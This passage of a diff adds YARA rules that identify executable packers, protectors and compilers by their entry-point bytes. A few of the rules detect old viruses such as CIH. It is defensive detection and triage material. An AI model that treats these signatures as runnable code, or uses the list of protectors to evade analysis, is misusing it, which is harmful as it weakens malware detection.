+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PENightMare_v13_
+{
+	meta:
+		description = "PENightMare v1.3"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v1xx__v2xx_
+{
+	meta:
+		description = "Armadillo v1.xx - v2.xx"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881995_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1995"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54}
+		$1 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D ?? 43 2F 43 2B 2B 33 32 ?? 52 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32)"
+	strings:
+		$0 = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_4x__PGWare_LLC_
+{
+	meta:
+		description = "Alloy 4.x -> PGWare LLC"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+		$1 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RatPacker_Glue_stub_
+{
+	meta:
+		description = "RatPacker (Glue) stub"
+	strings:
+		$0 = {40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF}
+		$1 = {40 20 FF ?? ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Microsoft_Visual_Basic_v50v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0/v6.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hoep_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)"
+	strings:
+		$0 = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+	condition:
+		$0
+}
+rule _Unknown_packer_04_
+{
+	meta:
+		description = "Unknown packer (04)"
+	strings:
+		$0 = {BC ?? ?? C3 2E FF 2E ?? ?? CF}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v12__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.2 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+		$1 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UNITA3_tm_by_Sanitary_Equipment_Research_
+{
+	meta:
+		description = "UNITA3 (tm) by Sanitary Equipment Research"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _Feokt_
+{
+	meta:
+		description = "Feokt"
+	strings:
+		$0 = {89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v310_
+{
+	meta:
+		description = "PEBundle v3.10"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+	condition:
+		$0
+}
+rule _Private_EXE_Protector_18__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 1.8 -> SetiSoft"
+	strings:
+		$0 = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+	condition:
+		$0
+}
+rule _SPEC_b2_
+{
+	meta:
+		description = "SPEC b2"
+	strings:
+		$0 = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6 -> Vaska"
+	strings:
+		$0 = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Pack_Master_10_PEX_Clone__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FF FF E9}
+		$1 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$2 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASPack_v211d_
+{
+	meta:
+		description = "ASPack v2.11d"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner 1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+		$1 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Shrink_v20_
+{
+	meta:
+		description = "Shrink v2.0"
+	strings:
+		$0 = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_v12_
+{
+	meta:
+		description = "EPW v1.2"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _AINEXE_v21_
+{
+	meta:
+		description = "AINEXE v2.1"
+	strings:
+		$0 = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+	condition:
+		$0 at entrypoint
+}
+rule _MetaWare_High_C_p_Phar_Lap_DOS_Extender_198389_
+{
+	meta:
+		description = "MetaWare High C + Phar Lap DOS Extender 1983-89"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 B8 ?? ?? CD 21 A3 ?? ?? 3C 03 7D ?? B4 09}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_DLL_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZMA__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZMA] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_V031__emadicius_
+{
+	meta:
+		description = "[MSLRH] V0.31 -> emadicius"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+		$1 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_SK_
+{
+	meta:
+		description = "Vx: SK"
+	strings:
+		$0 = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_10__ackanoid_
+{
+	meta:
+		description = "Packanoid 1.0 -> ackanoid"
+	strings:
+		$0 = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32_GCC_3x_
+{
+	meta:
+		description = "MingWin32 GCC 3.x"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? 40 00 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32_v_h_
+{
+	meta:
+		description = "MingWin32 v?.? (h)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_25___h_
+{
+	meta:
+		description = "Thinstall 2.5 -> ??? (h)"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Hardlock_dongle_Alladin_
+{
+	meta:
+		description = "Hardlock dongle (Alladin)"
+	strings:
+		$0 = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+	condition:
+		$0 at entrypoint
+}
+rule _PGMPACK_v014_
+{
+	meta:
+		description = "PGMPACK v0.14"
+	strings:
+		$0 = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_for_Windows_2_
+{
+	meta:
+		description = "Microsoft C for Windows (2)"
+	strings:
+		$0 = {8C D8 ?? 45 55 8B EC 1E 8E D8 57 56 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Cpp_19901992_
+{
+	meta:
+		description = "Microsoft C++ (1990/1992)"
+	strings:
+		$0 = {B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_CIH_Version_12_TTIT__WIN95CIH__
+{
+	meta:
+		description = "Vx: CIH Version 1.2 TTIT (! WIN95CIH !)"
+	strings:
+		$0 = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_FORTRAN_Library_19_
+{
+	meta:
+		description = "MS FORTRAN Library 19??"
+	strings:
+		$0 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC B8 ?? ?? 8E C0 26 C7 ?? ?? ?? ?? ?? 26}
+		$1 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? 9A ?? ?? ?? ?? 9B DB E3 9B D9 2E ?? ?? 33 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60_DLL_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 DLL (Debug)"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 ?? ?? 83}
+	condition:
+		$0
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h1_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+		$1 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_EXE_Protector_197__SetiSoft_h_
+{
+	meta:
+		description = "Private EXE Protector 1.9.7 -> SetiSoft (h)"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+	condition:
+		$0
+}
+rule _Free_Pascal_v1010_win32_GUI_
+{
+	meta:
+		description = "Free Pascal v1.0.10 (win32 GUI)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5}
+	condition:
+		$0
+}
+rule _EXE_Shield_v01b__v03b_v03__SMoKE_
+{
+	meta:
+		description = "EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v20_
+{
+	meta:
+		description = "ASProtect v2.0"
+	strings:
+		$0 = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _EXE_Stealth_v272_
+{
+	meta:
+		description = "EXE Stealth v2.72"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _SecureEXE_30__ZipWorx_
+{
+	meta:
+		description = "SecureEXE 3.0 -> ZipWorx"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RARSFX_Archive_1_
+{
+	meta:
+		description = "RAR-SFX Archive (1)"
+	strings:
+		$0 = {4D 5A ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 52 53 46 58}
+	condition:
+		$0
+}
+rule _eXPressor_v14__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.4 -> CGSoftLabs"
+	strings:
+		$0 = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+	condition:
+		$0
+}
+rule _tElock_v098b1_
+{
+	meta:
+		description = "tElock v0.98b1"
+	strings:
+		$0 = {E9 25 E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Elicense_System_V4000__ViaTech_Inc_
+{
+	meta:
+		description = "Elicense System V4.0.0.0 -> ViaTech Inc"
+	strings:
+		$0 = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+	condition:
+		$0
+}
+rule _VOB_ProtectCD_
+{
+	meta:
+		description = "VOB ProtectCD"
+	strings:
+		$0 = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICCC_40_
+{
+	meta:
+		description = "PowerBASIC/CC 4.0"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 68 05 00 00 E9 6E 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v030_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.30 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v20_
+{
+	meta:
+		description = "MoleBox v2.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 60 E8 4F}
+	condition:
+		$0
+}
+rule _BookManager_v9510_
+{
+	meta:
+		description = "BookManager v9510"
+	strings:
+		$0 = {FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Stealth_PE_v11_
+{
+	meta:
+		description = "Stealth PE v1.1"
+	strings:
+		$0 = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+		$1 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+		$2 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+		$3 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PEArmor_V07X__Hying_
+{
+	meta:
+		description = "PEArmor V0.7X -> Hying"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v166_
+{
+	meta:
+		description = "PECompact v1.66"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v25_
+{
+	meta:
+		description = "EXE Stealth v2.5"
+	strings:
+		$0 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+		$1 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+	condition:
+		$0 or $1
+}
+rule _UPXShit_v01__500mhz_
+{
+	meta:
+		description = "UPX-Shit v0.1 -> 500mhz"
+	strings:
+		$0 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+		$1 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
